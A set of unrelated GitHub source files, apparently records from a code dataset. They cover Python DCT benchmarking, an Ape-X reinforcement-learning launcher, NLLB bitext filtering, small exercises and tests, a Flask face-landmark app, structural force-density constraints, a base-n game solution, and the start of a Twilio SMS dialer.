shape=(M, N) , dtype=np.float64 ) #To store the discrete cosine transform\r\n for i in range(0,M):\r\n matrix_r[i] = dct(matrix[i])\r\n\r\n for j in range(0, N):\r\n temp = dct(matrix_r[:,j])\r\n for k in range(0, M):\r\n matrix_r[k,j] = temp[k]\r\n\r\n return matrix_r\r\n\r\n\r\ndef naive_dct2(matrix):\r\n \"\"\"\r\n Naive DCT for two dimension np.array.\r\n matrix: Is a np.array of one dimension [M:N]\r\n return: Discrete cosine transform of matrix\r\n \"\"\"\r\n \r\n N = matrix.shape[0]\r\n M = matrix.shape[1]\r\n matrix_r = np.zeros( shape=(M, N) , dtype=np.float64 ) #To store the discrete cosine transform\r\n\r\n\r\n for i in range(0,M):\r\n for j in range(0, N):\r\n \r\n if (i == 0):\r\n ai = np.sqrt(1/M)\r\n else:\r\n ai = np.sqrt(2/M)\r\n \r\n if (j == 0):\r\n aj = np.sqrt(1/N)\r\n else:\r\n aj = np.sqrt(2/N)\r\n \r\n w = 0\r\n for k in range(0,M):\r\n for l in range(0,N):\r\n sum = matrix[k][l] * np.cos((2 * k + 1) * i * np.pi / (2 * M)) * np.cos((2 * l + 1) * j * np.pi / (2 * N))\r\n w = w + sum\r\n\r\n matrix_r[i][j] = ai * aj * w\r\n\r\n return matrix_r\r\n\r\n\r\ndef idct(c):\r\n \"\"\"\r\n IDCT for one dimension np.array.\r\n c: Is a np.array of one dimension [0:N-1]\r\n return: Inverse discrete cosine transform of c\r\n \"\"\"\r\n N = c.shape[0]\r\n v = np.zeros(N)\r\n for j in range(0,N):\r\n sum = 0\r\n for k in range(0,N):\r\n if k == 0:\r\n a_k = np.sqrt(1/N)\r\n else:\r\n a_k = np.sqrt(2/N)\r\n\r\n sum = sum + ( np.cos(k * np.pi * (2*(j+1) - 1)/(2*N)) * c[k] * a_k)\r\n\r\n v[j] = sum\r\n\r\n return v\r\n\r\n\r\ndef idct2(matrix):\r\n \"\"\"\r\n IDCT for two dimension np.array.\r\n matrix: Is a np.array of one dimension [M:N]\r\n return: Inverse discrete cosine transform of matrix\r\n \"\"\"\r\n N = matrix.shape[0]\r\n M = matrix.shape[1] \r\n matrix_r = np.zeros( shape=(M, N) , dtype=np.float64 ) #To store the discrete cosine transform\r\n for i in range(0,M):\r\n matrix_r[i] = idct(matrix[i])\r\n\r\n for j in range(0, N):\r\n temp = idct(matrix_r[:,j])\r\n for k in range(0, M):\r\n matrix_r[k,j] = temp[k]\r\n\r\n return matrix_r\r\n\r\n\r\ndef random_matrix(N):\r\n \"\"\"\r\n Creare a random matrix NxN\r\n N: integer number\r\n return: A np.array matrix of NxN random elements\r\n \"\"\"\r\n matrix = np.random.randint(low=0, high=256, size= (N, N) )\r\n return matrix\r\n\r\n\r\ndef test_time(min, max, step, naive=False):\r\n \"\"\"\r\n Return time for different test matrices.\r\n The tested matrices are multiple of 10 (dimension).\r\n N: number of Matrix tested\r\n naive: If True calculate also the naive_dct2 time\r\n return: df of different times recorded by functions\r\n \"\"\"\r\n times_my = []\r\n times_cv = []\r\n x = []\r\n\r\n if naive:\r\n times_naive = []\r\n \r\n for n in range(min, max+step, step):\r\n matrix = np.random.randint(0, 256, (n,n) )\r\n\r\n start_time = time.time()\r\n dct2(matrix)\r\n times_my.append( time.time() - start_time)\r\n\r\n \r\n\r\n start_time = time.time()\r\n cv.dct(matrix/1.0)\r\n times_cv.append( time.time() - start_time)\r\n\r\n x.append(n)\r\n \r\n #print(times_cv)\r\n print(times_my)\r\n \r\n \r\n\r\n if naive:\r\n start = time.time()\r\n naive_dct2(matrix)\r\n times_naive.append(time.time() - start)\r\n\r\n \r\n if(naive):\r\n df = {'cv_dct':times_cv, 'my_dct2':times_my, 'my_naive_dct2':times_naive, 'x_axis':x}\r\n else:\r\n df = {'cv_dct':times_cv, 'my_dct2':times_my, 'x_axis':x}\r\n\r\n return df\r\n\r\n\r\ndef plot_times(df, naive=False, path=None, log=False, loglog=False):\r\n \"\"\"\r\n Plot time for different test matrices.\r\n df: of different times recorded by functions,\r\n should be the output of test_time function\r\n naive: If True plot also the naive_dct2 time\r\n only if test_time function was runned with naive=True\r\n path: path where to save the plot, if None doesn't save.\r\n log: If True plot in semilog scale.\r\n \"\"\"\r\n\r\n x = df['x_axis']\r\n\r\n if(log):\r\n my_plot = plt.semilogy\r\n elif(loglog):\r\n my_plot = plt.loglog\r\n else:\r\n my_plot = plt.plot\r\n\r\n\r\n #Plot scipy-library dct\r\n my_plot(x, df['cv_dct'], color ='r')\r\n\r\n #Plot my dct2\r\n my_plot(x, df['my_dct2'], color='b')\r\n \r\n if(naive):\r\n #Plot my naive_dct2\r\n my_plot(x, df['my_naive_dct2'], color='g')\r\n\r\n #Asintotic time\r\n x2log = []\r\n x3 = []\r\n for n in x:\r\n x2log.append( (n**2) * np.log(n) )\r\n x3.append( n**3 )\r\n\r\n\r\n my_plot(x, x2log , '--', color='r') \r\n my_plot(x, x3, '--', color='b')\r\n\r\n if(naive):\r\n x4 = []\r\n for n in x:\r\n x4.append( n**4 )\r\n my_plot(x,x4, '--', color='g') \r\n plt.legend([\"CV DCT2\", \"My DCT2\", \"My Naive_DCT2\", \"x^2*log(x)\", \"x^3\", \"x^4\"])\r\n else:\r\n plt.legend([\"CV DCT2\", \"My DCT2\", \"x^2*log(x)\", \"x^3\"])\r\n\r\n if path is not None:\r\n plt.savefig(path)\r\n\r\n plt.title(\"Comparison between different DTC\")\r\n plt.xlabel(\"N\")\r\n plt.ylabel(\"Time\")\r\n \r\n\r\n plt.show()\r\n\r\n\r\ndef array_equals(a, b, err):\r\n \"\"\"\r\n See if 2 np.array are equal or close to equal\r\n a,b: two np.array\r\n err: the error from witch you consider a and b equals\r\n return: True or False\r\n \"\"\"\r\n if np.array_equal(a,b):\r\n return True\r\n else:\r\n return norm(a - b)/norm(a) <= err\r\n\r\n\r\ndef unit_test():\r\n \"\"\"\r\n Unit test\r\n \"\"\"\r\n x = np.array([231, 32, 233, 161, 24, 71, 140, 245])\r\n x_dct = np.array( [4.01e+02, 6.60e+00, 1.09e+02, -1.12e+02, 6.54e+01, 1.21e+02, 1.16e+02, 2.88e+01])\r\n\r\n\r\n assert array_equals( dct(x), x_dct, err=0.01 )\r\n assert array_equals( dct_slow(x), x_dct, err=0.01 )\r\n assert array_equals( idct(dct(x)), x, err=0.01)\r\n assert array_equals( cv.dct(x/1.0), x_dct, err=5)\r\n \r\n\r\n test_matrix = np.array ( [[ 231, 32, 233, 161, 24, 71, 140, 245],\r\n [ 247, 40, 248, 245, 124, 204, 36, 107],\r\n [ 234, 202, 245, 167, 9, 217, 239, 173],\r\n [ 193, 190, 100, 167, 43, 180, 8, 70],\r\n [ 11, 24, 210, 177, 81, 243, 8, 112],\r\n [ 97, 195, 203, 47, 125, 114, 165, 181],\r\n [ 193, 70, 174, 167, 41, 30, 127, 245],\r\n [ 87, 149, 57, 192, 65, 129, 178, 228]])\r\n\r\n test_matrix_dct = np.array ([[1.11e+03, 4.40e+01, 7.59e+01, -1.38e+02, 3.50e+00, 1.22e+02, 1.95e+02, -1.01e+02],\r\n [7.71e+01, 1.14e+02, -2.18e+01, 4.13e+01, 8.77e+00, 9.90e+01, 1.38e+02, 1.09e+01],\r\n [4.48e+01, -6.27e+01, 1.11e+02, -7.63e+01, 1.24e+02, 9.55e+01, -3.98e+01, 5.85e+01],\r\n [-6.99e+01, -4.02e+01, -2.34e+01, -7.67e+01, 2.66e+01, -3.68e+01, 6.61e+01, 1.25e+02],\r\n [-1.09e+02, -4.33e+01, -5.55e+01, 8.17e+00, 3.02e+01, -2.86e+01, 2.44e+00, -9.41e+01],\r\n [-5.38e+00, 5.66e+01, 1.73e+02, -3.54e+01, 3.23e+01, 3.34e+01, -5.81e+01, 1.90e+01],\r\n [7.88e+01, -6.45e+01, 1.18e+02, -1.50e+01, -1.37e+02, -3.06e+01, -1.05e+02, 3.98e+01],\r\n [1.97e+01, -7.81e+01, 9.72e-01, -7.23e+01, -2.15e+01, 8.13e+01, 6.37e+01, 5.90e+00]])\r\n\r\n\r\n assert array_equals( naive_dct2(test_matrix), test_matrix_dct, err=0.01 )\r\n assert array_equals( dct2_slow(test_matrix), test_matrix_dct, err=0.01 )\r\n assert array_equals( dct2(test_matrix), test_matrix_dct, err=0.01 )\r\n assert array_equals( idct2( dct2(test_matrix) ), test_matrix, err=0.01 )\r\n assert array_equals( naive_dct2(test_matrix), dct2(test_matrix), err=0.01 )\r\n assert array_equals( cv.dct(test_matrix/1.0), test_matrix_dct, err=0.01)\r\n\r\n\r\nimport pathlib\r\n\r\nunit_test()\r\npath = str(pathlib.Path(__file__).parent.absolute())\r\n\r\nmin = 100\r\nmax = 2600\r\nstep = 500\r\n\r\nmatrix = random_matrix(max)\r\nstart = time.time()\r\nk = cv.dct(matrix/1.0)\r\nend = time.time()\r\nprint(end-start)\r\n\r\nstart = time.time()\r\ns = dct2(matrix)\r\nend = time.time()\r\nprint(end-start)\r\n\r\ndf = test_time(min, max, step)\r\nprint(df)\r\nplot_times(df, path=path+\"\\\\figura_log.png\", log=True)\r\nplot_times(df, path=path+\"\\\\figura_loglog.png\", loglog=True)\r\n\r\n\r\n","repo_name":"davidepietrasanta/Image-compression-via-DCT","sub_path":"Parte1.py","file_name":"Parte1.py","file_ext":"py","file_size_in_byte":10979,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"25"} +{"seq_id":"50806393","text":"\nimport multiprocessing\nfrom multiprocessing import Process, Manager\nfrom multiprocessing.managers import BaseManager\nimport numpy as np\n\nfrom Models.DistributedModels.Apex.Learner import Learner\nfrom Models.DistributedModels.Apex.Actor import run\nfrom Models.DistributedModels.Apex.PrioritizedReplayBuffer import Memory\nfrom Models.DistributedModels.Apex.Server import Server\n\n\nfrom utils.tool import read_config, AutoProxy\n\nmultiprocessing.managers.AutoProxy = AutoProxy\n\n\"\"\"\ndef choose_epsilon_min():\n\treturn np.random.choice(4*[0.05] + 3*[0.01] + 3*[0.1])\n\"\"\"\n\ndef runApeX():\n\tconfig = read_config(\"./Configs/configApeX.yml\")\n\tepsilons = config[\"min_epsilons\"]\n\tN_ACTORS = config['n_actors']\n \t\n\tBaseManager.register('ReplayBM', Memory)\n\tBaseManager.register('LearnerBM', Learner)\n\tBaseManager.register('ServerBM', Server)\n\tmanager = BaseManager()\n\tmanager.start()\n\tserver = manager.ServerBM()\n\treplay = manager.ReplayBM(config)\n\n\n\tlearner = manager.LearnerBM(config)\n\t\n\tprocesses = [Process(target=run, args=(replay, learner, server, config, epsilons[p], p)) for p in range(N_ACTORS) ]\n\n\tp_learner = Process(target=learner.train_nn, args=(replay, server,))\n\t\n\tp_learner.start()\n\tfor p in processes:\n\t p.start()\n \n\t\n\tp_learner.join()\n\tfor p in processes:\n\t p.join()","repo_name":"HussonnoisMaxence/Carla_ReinforcementLearning","sub_path":"Models/DistributedModels/Apex/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"25"} +{"seq_id":"35685365606","text":"from pathlib import Path\nfrom typing import Optional, Set, Tuple\n\nimport xxhash\nfrom sentencepiece import SentencePieceProcessor\n\nfrom examples.nllb.mining.monolingual.utils.text_normalizer import (\n normalize_for_dedup,\n replace_unicode_punct,\n)\nfrom examples.nllb.modeling.filtering.dataset import DatasetLine\nfrom examples.nllb.modeling.filtering.filters.base import Filter, FilteringCounts\n\n\nclass BasicFilter(Filter):\n def __init__(\n self,\n normalize_punctuation: bool,\n spm: Optional[str],\n min_tok: Optional[int],\n max_tok: Optional[int],\n max_tok_len_ratio: Optional[float],\n tgt_min_unique_tok_ratio: Optional[float],\n dedup_pairs: bool,\n ):\n self.normalize_punctuation = normalize_punctuation\n self.spm: Optional[SentencePieceProcessor] = None\n self.min_tok = min_tok\n self.max_tok = max_tok\n self.max_tok_len_ratio = max_tok_len_ratio\n self.tgt_min_unique_tok_ratio = tgt_min_unique_tok_ratio\n self.dedup_pairs = dedup_pairs\n\n if spm is not None:\n self.spm = SentencePieceProcessor(model_file=spm)\n self.seen_hashes: Set[int] = set()\n\n def filter_line(\n self, line: DatasetLine, counts: FilteringCounts\n ) -> Optional[DatasetLine]:\n # filter empty\n line.src = line.src.strip()\n if self.normalize_punctuation:\n line.src = replace_unicode_punct(line.src)\n if not line.src or (line.tgt is not None and not line.tgt):\n counts.empty += 1\n return None\n\n if line.tgt is not None:\n line.tgt = line.tgt.strip()\n if self.normalize_punctuation:\n line.tgt = replace_unicode_punct(line.tgt)\n if not line.tgt:\n counts.empty += 1\n return None\n\n # normalize + dedup\n if self.dedup_pairs:\n normalized = normalize_for_dedup(line.src)\n if line.tgt is not None:\n normalized += \"\\t\" + normalize_for_dedup(line.tgt)\n line_hash = xxhash.xxh3_64_intdigest(normalized)\n if line_hash in self.seen_hashes:\n counts.dedup += 1\n return None\n else:\n self.seen_hashes.add(line_hash)\n\n if (\n self.min_tok\n or self.max_tok\n or self.max_tok_len_ratio\n or self.tgt_min_unique_tok_ratio\n ):\n # min len, max len\n assert self.spm is not None\n src_toks = self.spm.encode(line.src)\n src_len = len(src_toks)\n if self.min_tok is not None and src_len < self.min_tok:\n counts.min_tok += 1\n return None\n if self.max_tok is not None and src_len > self.max_tok:\n counts.max_tok += 1\n return None\n # same as above, but for tgt if set\n if line.tgt is not None:\n tgt_toks = self.spm.encode(line.tgt)\n tgt_len = len(tgt_toks)\n if self.min_tok is not None and tgt_len < self.min_tok:\n counts.min_tok += 1\n return None\n if self.max_tok is not None and tgt_len > self.max_tok:\n counts.max_tok += 1\n return None\n # len ratio\n if self.max_tok_len_ratio is not None:\n ratio = (\n src_len / tgt_len if src_len > tgt_len else tgt_len / src_len\n )\n if ratio > self.max_tok_len_ratio:\n counts.max_tok_len_ratio += 1\n return None\n\n # target minimum unique tokens\n if line.tgt is not None and self.tgt_min_unique_tok_ratio is not None:\n if len(set(tgt_toks)) / tgt_len > self.tgt_min_unique_tok_ratio:\n counts.tgt_min_unique_tok_ratio += 1\n return None\n\n return line\n","repo_name":"andreniyongabo/hallucination_detection_and_mitigation","sub_path":"fairseq-py/examples/nllb/modeling/filtering/filters/basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":4023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"69894915907","text":"student={'name':'ziyaulhaq','age':20,'course':'BCA'}\r\nstd={}\r\nstudents=student.copy()\r\nfor i in student.values():\r\n print(i)\r\n #print(\"%s=%s\"%(i,student[i]))\r\ndic={}\r\nn=int(input(\"enter the number=\"))\r\nfor i in range(1,n):\r\n dic[i]=i*i\r\nprint(dic)\r\nsq={x:x*x for x in range(10,20)}\r\n \r\nprint(sq)\r\nprint(\"enter the run time dictionary\")\r\nfor z in range(n):\r\n j=input(\"enter the key=\")\r\n k=input(\"enter the values=\")\r\n std[j]=k\r\nprint(std)\r\n \r\n","repo_name":"Bit4z/python","sub_path":"new_python/dic1.py","file_name":"dic1.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"43739631706","text":"#!/usr/bin/env python3\nimport sys\nimport unittest\n\nclass Node:\n\n def __init__(self, val, next_node):\n self.val = val\n self.next = next_node\n\n\nclass SinglyLinkedList:\n\n def __init__(self):\n self.head = None\n\n def append(self, x):\n self.head = Node(x, self.head)\n\n def show(self):\n \"\"\" Prints all values in the list separated by space \"\"\"\n curr_node = self.head\n while curr_node != None:\n print(curr_node.val, end=\" \")\n curr_node = curr_node.next\n print('\\n')\n\n def kth_from_end(self, k):\n \"\"\" Returns k'th element from the end, where 0'th element means identity mapping \"\"\"\n counter = 0\n kth_el = self.head\n curr_node = self.head\n while curr_node != None:\n counter += 1\n if counter > (k + 1):\n kth_el = kth_el.next\n curr_node = curr_node.next\n if counter < (k + 1):\n raise RuntimeError('Length of the list is smaller than k + 1: {0} < {1}'.format(counter, k + 1))\n else:\n return kth_el.val\n\n\nclass TestSLL(unittest.TestCase):\n\n def test_simple(self):\n ssl_elements = [0, 1, 2, 3, 4, 5, 6]\n ssl = SinglyLinkedList()\n for el in ssl_elements:\n ssl.append(el)\n for i in range(len(ssl_elements)):\n self.assertEqual(ssl.kth_from_end(i), i)\n\n def test_mixed(self):\n ssl_elements = [0, 'fhf', 23.5, 'compda']\n ssl = SinglyLinkedList()\n for el in ssl_elements:\n ssl.append(el)\n for i in range(len(ssl_elements)):\n self.assertEqual(ssl.kth_from_end(i), ssl_elements[i])\n\n def test_kth_existance(self):\n # check that calling for k larger than the lenght of the list throws an exception\n ssl_elements = [0, 1, 2, 3, 4, 5, 6]\n ssl = SinglyLinkedList()\n for el in ssl_elements:\n ssl.append(el)\n with self.assertRaises(RuntimeError):\n ssl.kth_from_end(7)\n\n def test_empty(self):\n ssl = SinglyLinkedList()\n with self.assertRaises(RuntimeError):\n self.assertRaises(ssl.kth_from_end(0))\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"yuvdanilova/CodeU","sub_path":"assignment1_sll.py","file_name":"assignment1_sll.py","file_ext":"py","file_size_in_byte":2223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"28212828122","text":"class Pi:\n def __init__(self, name, ip, network, tag, timestamp, status= 'GREEN'):\n self.name = name\n self.ip = ip\n self.network = network\n self.tag = tag\n self.timestamp = timestamp\n self.status = status\n\n \n","repo_name":"leeclarke/pi-dir2","sub_path":"pi.py","file_name":"pi.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"25"} +{"seq_id":"8618112236","text":"import os\nfrom flask import Flask, render_template, request\nfrom face_recognition_service import get_image_with_landmarks\n\napp = Flask(__name__)\napp.config['UPLOAD_FOLDER'] = './'\n\n@app.route('/', methods=[\"GET\", \"POST\"])\ndef index():\n if request.method == \"GET\":\n return render_template(\"index.html\", result={})\n else:\n image = request.files[\"image\"]\n path = os.path.join(app.config['UPLOAD_FOLDER'], image.filename)\n image.save(path)\n result_from_landmarks = get_image_with_landmarks(path)\n os.remove(path)\n\n return render_template(\"index.html\", result=result_from_landmarks)\n\nif __name__ == '__main__':\n port = int(os.environ.get(\"PORT\", 5000))\n app.run(host='0.0.0.0', port=port)","repo_name":"jhonatans01/face_recognition_api_heroku_example","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"25"} +{"seq_id":"74356471425","text":"import autograd.numpy as np\n\nfrom dfdm.constraints import Constraint\n\n\nclass NetworkConstraint(Constraint):\n pass\n\n\nclass NetworkEdgesLengthConstraint(NetworkConstraint):\n \"\"\"\n Set constraint bounds to the length of all the edges of a network.\n \"\"\"\n def constraint(self, eqstate, *args, **kwargs):\n \"\"\"\n The constraint function relative to a equilibrium state.\n \"\"\"\n return eqstate.lengths\n\n\nclass NetworkEdgesForceConstraint(NetworkConstraint):\n \"\"\"\n Set constraint bounds to the length of all the edges of a network.\n \"\"\"\n def constraint(self, eqstate, *args, **kwargs):\n \"\"\"\n The constraint function relative to a equilibrium state.\n \"\"\"\n return eqstate.forces\n\n\nif __name__ == \"__main__\":\n # compas\n from compas.colors import Color\n from compas.geometry import Line\n from compas.geometry import Point\n from compas.geometry import Polyline\n from compas.geometry import add_vectors\n from compas.geometry import length_vector\n\n # visualization\n from compas_view2.app import App\n\n # static equilibrium\n from dfdm.datastructures import FDNetwork\n from dfdm.equilibrium import fdm\n from dfdm.equilibrium import constrained_fdm\n from dfdm.optimization import SLSQP, TrustRegionConstrained\n from dfdm.goals import NetworkLoadPathGoal\n from dfdm.losses import Loss\n from dfdm.losses import PredictionError\n\n # ==========================================================================\n # Initial parameters\n # ==========================================================================\n\n arch_length = 5.0\n num_segments = 10\n q_init = -1.0\n pz = -0.1\n length_min = 0.5\n length_max = 1.0\n optimizer = TrustRegionConstrained\n\n # ==========================================================================\n # Create the geometry of an arch\n # ==========================================================================\n\n start = [0.0, 0.0, 0.0]\n end = add_vectors(start, [arch_length, 0.0, 0.0])\n curve = Polyline([start, end])\n points = curve.divide_polyline(num_segments)\n lines = Polyline(points).lines\n\n # ==========================================================================\n # Create arch\n # ==========================================================================\n\n network = FDNetwork.from_lines(lines)\n\n # ==========================================================================\n # Define structural system\n # ==========================================================================\n\n # assign supports\n network.node_support(key=0)\n network.node_support(key=len(points) - 1)\n\n # set initial q to all edges\n network.edges_forcedensities(q_init, keys=network.edges())\n\n # set initial point loads to all nodes of the network\n network.nodes_loads([0.0, 0.0, pz], keys=network.nodes_free())\n\n # ==========================================================================\n # Run the force density method\n # ==========================================================================\n\n print(\"\\nForm found network\")\n network = fdm(network)\n\n # ==========================================================================\n # Report stats\n # ==========================================================================\n\n q = list(network.edges_forcedensities())\n f = list(network.edges_forces())\n l = list(network.edges_lengths())\n\n print(f\"Load path: {round(network.loadpath(), 3)}\")\n for name, vals in zip((\"FDs\", \"Forces\", \"Lengths\"), (q, f, l)):\n\n minv = round(min(vals), 3)\n maxv = round(max(vals), 3)\n meanv = round(sum(vals) / len(vals), 3)\n print(f\"{name}\\t\\tMin: {minv}\\tMax: {maxv}\\tMean: {meanv}\")\n\n # ==========================================================================\n # Create loss funtion with total load path as the only goal\n # ==========================================================================\n\n goal = NetworkLoadPathGoal()\n loss = Loss(PredictionError(goals=[goal]))\n\n # ==========================================================================\n # Constrained form-finding\n # ==========================================================================\n\n print(\"\\nInverse form found network. No constraints\")\n ceq_network = constrained_fdm(network,\n optimizer=optimizer(),\n loss=loss)\n\n # ==========================================================================\n # Report stats\n # ==========================================================================\n\n q = list(ceq_network.edges_forcedensities())\n f = list(ceq_network.edges_forces())\n l = list(ceq_network.edges_lengths())\n\n print(f\"Load path: {round(ceq_network.loadpath(), 3)}\")\n for name, vals in zip((\"FDs\", \"Forces\", \"Lengths\"), (q, f, l)):\n\n minv = round(min(vals), 3)\n maxv = round(max(vals), 3)\n meanv = round(sum(vals) / len(vals), 3)\n print(f\"{name}\\t\\tMin: {minv}\\tMax: {maxv}\\tMean: {meanv}\")\n\n # ==========================================================================\n # Create constraint\n # ==========================================================================\n\n constraint = NetworkEdgesLengthConstraint(bound_low=length_min, bound_up=length_max)\n constraints = [constraint]\n\n # ==========================================================================\n # Constrained form-finding with constraint\n # ==========================================================================\n\n print(\"\\nInverse form found network. With constraints\")\n ceq_network = constrained_fdm(network,\n optimizer=optimizer(),\n loss=loss,\n constraints=constraints,\n maxiter=1000,\n tol=1e-6)\n\n # ==========================================================================\n # Report stats\n # ==========================================================================\n\n q = list(ceq_network.edges_forcedensities())\n f = list(ceq_network.edges_forces())\n l = list(ceq_network.edges_lengths())\n\n print(f\"Load path: {round(ceq_network.loadpath(), 3)}\")\n for name, vals in zip((\"FDs\", \"Forces\", \"Lengths\"), (q, f, l)):\n\n minv = round(min(vals), 3)\n maxv = round(max(vals), 3)\n meanv = round(sum(vals) / len(vals), 3)\n print(f\"{name}\\t\\tMin: {minv}\\tMax: {maxv}\\tMean: {meanv}\")\n\n # ==========================================================================\n # Visualization\n # ==========================================================================\n\n viewer = App(width=1600, height=900, show_grid=True)\n\n viewer.add(network, linewidth=1.0, linecolor=Color.grey().darkened())\n\n eq_network = ceq_network\n\n # equilibrated arch\n viewer.add(eq_network,\n show_vertices=True,\n pointsize=12.0,\n show_edges=True,\n linecolor=Color.teal(),\n linewidth=5.0)\n\n # reference arch\n viewer.add(network, show_points=False, linewidth=4.0)\n\n for node in eq_network.nodes():\n\n pt = eq_network.node_coordinates(node)\n\n # draw lines betwen subject and target nodes\n target_pt = network.node_coordinates(node)\n viewer.add(Line(target_pt, pt))\n\n # draw residual forces\n residual = eq_network.node_residual(node)\n\n if length_vector(residual) < 0.001:\n continue\n\n residual_line = Line(pt, add_vectors(pt, residual))\n viewer.add(residual_line,\n linewidth=4.0,\n color=Color.pink())\n\n # draw applied loads\n for node in eq_network.nodes():\n pt = eq_network.node_coordinates(node)\n load = network.node_load(node)\n viewer.add(Line(pt, add_vectors(pt, load)),\n linewidth=4.0,\n color=Color.green().darkened())\n\n # draw supports\n for node in eq_network.nodes_supports():\n x, y, z = eq_network.node_coordinates(node)\n viewer.add(Point(x, y, z), color=Color.green(), size=20)\n\n # show le crème\n viewer.show()\n","repo_name":"arpastrana/dfdm","sub_path":"src/dfdm/constraints/networkconstraint.py","file_name":"networkconstraint.py","file_ext":"py","file_size_in_byte":8342,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"25"} +{"seq_id":"12918870562","text":"#wap to disp even number from given limit\n\na=int(input(\"enter number\"))\nb=int(input(\"enter second values\"))\n'''\nif(a>b):\n\ta,b = b,a\n'''\n\nif(a= 10:\n r = num_dict[r]\n \n if r:\n answer += str(r)\n else:\n answer += \"0\"\n \n return answer[::-1]\n\ndef solution(n, t, m, p):\n total = \"\"\n answer = \"\"\n num = 0\n idx = p - 1\n \n while len(total) < t * m:\n total += convert_base(num, base=n)\n num += 1\n \n while len(answer) < t:\n answer += total[idx]\n idx += m\n \n return answer\n\n# --- 풀이 2 ---\n# conver_base를 재귀적으로 만듦\n\ndef convert_base(num, base):\n digits = \"0123456789ABCDEF\"\n q, r = divmod(num, base)\n \n if q == 0:\n return digits[r]\n else:\n return convert_base(q, base) + digits[r]\n \ndef solution(n, t, m, p):\n total = \"\"\n answer = \"\"\n num = 0\n idx = p - 1\n \n while len(total) < t * m:\n total += convert_base(num, base=n)\n num += 1\n \n while len(answer) < t:\n answer += total[idx]\n idx += m\n \n return answer","repo_name":"woojin1223/coding_test","sub_path":"18th/base-n-game/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"17549503986","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Mar 24 13:41:18 2021\r\n\r\n@author: Hunter Stiles\r\n\"\"\"\r\n\r\nimport tkinter as tk\r\nfrom tkinter import ttk\r\nfrom twilio.rest import Client\r\nimport sqlite3\r\nimport pandas as pd\r\nimport logging\r\nimport os\r\n\r\n\r\ntry:\r\n logLevel = os.environ['MESSAGE_LOG_LEVEL']\r\nexcept:\r\n logLevel = logging.DEBUG\r\n \r\nlogging.basicConfig(format='%(asctime)s %(message)s', datefmt='%I:%M:%S %p')\r\nlogging.getLogger().setLevel(logLevel)\r\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\r\nfilehandler = logging.FileHandler(r'messagelog.txt')\r\nfilehandler.setFormatter(formatter)\r\nlogging.getLogger().addHandler(filehandler)\r\n\r\n\r\nlogging.warning('messaging application started.')\r\ncon = sqlite3.connect('directory.db')\r\ncur = con.cursor()\r\n\r\ntry:\r\n account_sid = os.environ['TWILIO_ACCOUNT_SID']\r\nexcept:\r\n logging.warning(\"Unable to get twilio account_sid from environment\")\r\n account_sid = 'a valid twilio sid'\r\n\r\ntry:\r\n account_sid = os.environ['TWILIO_ACCOUNT_TOKEN']\r\nexcept:\r\n logging.warning(\"Unable to get twilio auth_token from environment\")\r\n auth_token = 'a valid twilio token'\r\n\r\n\r\n\r\nclient = Client(account_sid, auth_token)\r\n\r\n# checkNumber checks to see if the number is numeric digits and has\r\n# a length of 10. If so it returns True, if not it pops up an error box and\r\n# returns False.\r\ndef checkNumber(telephoneNumber):\r\n if telephoneNumber.isnumeric() and len(telephoneNumber) == 10:\r\n return True\r\n \r\n tk.messagebox.showerror(\"Invalid Phone number\", \"Number must be 10 digits\")\r\n logging.info(\"Invalid phone number entered \" + telephoneNumber)\r\n return False\r\n \r\n# below are the callback functions for the numbered buttons\r\n# each one simply appends the number to the number in the phone display\r\ndef button1():\r\n logging.debug(\"pressed 1\")\r\n display_number.insert('end', '1')\r\ndef button2():\r\n logging.debug(\"pressed 2\")\r\n display_number.insert('end', '2')\r\ndef button3():\r\n logging.debug(\"pressed 3\")\r\n display_number.insert('end', '3')\r\ndef button4():\r\n logging.debug(\"pressed 4\")\r\n display_number.insert('end', '4')\r\ndef button5():\r\n logging.debug(\"pressed 5\")\r\n display_number.insert('end', '5')\r\ndef button6():\r\n logging.debug(\"pressed 6\")\r\n display_number.insert('end', '6')\r\ndef button7():\r\n logging.debug(\"pressed 7\")\r\n display_number.insert('end', '7')\r\ndef button8():\r\n logging.debug(\"pressed 8\")\r\n display_number.insert('end', '8')\r\ndef button9():\r\n logging.debug(\"pressed 9\")\r\n display_number.insert('end', '9')\r\ndef button0():\r\n logging.debug(\"pressed 0\")\r\n display_number.insert('end', '0')\r\n \r\n \r\ndef button_dir():\r\n def button_Submit():\r\n logging.debug(\"pressed Submit button in directory window\")\r\n logging.debug(\"selected \" + dirCombBox.get())\r\n ind=df.index[(df['name'] == dirCombBox.get())].tolist()\r\n display_number.delete(0, \"end\")\r\n display_number.insert(0, df.at[ind[0], 'number'])\r\n windowDirectory.destroy()\r\n logging.debug(\"pressed directoy button\")\r\n windowDirectory = tk.Toplevel(root)\r\n windowDirectory.geometry(\"250x250\")\r\n windowDirectory.title(\"Directory\")\r\n instructionLabel = tk.Label(windowDirectory, text=\"select entry from directory\")\r\n instructionLabel.pack()\r\n \r\n df = pd.read_sql_query(\"SELECT name, number FROM PhoneNumbers ORDER BY name\", con)\r\n logging.debug(df)\r\n dirCombBox = ttk.Combobox(windowDirectory, values=df['name'].tolist())\r\n dirCombBox.pack()\r\n \r\n \r\n frameA = tk.Frame(windowDirectory)\r\n frameA.pack(side=\"bottom\")\r\n Button_sendText = 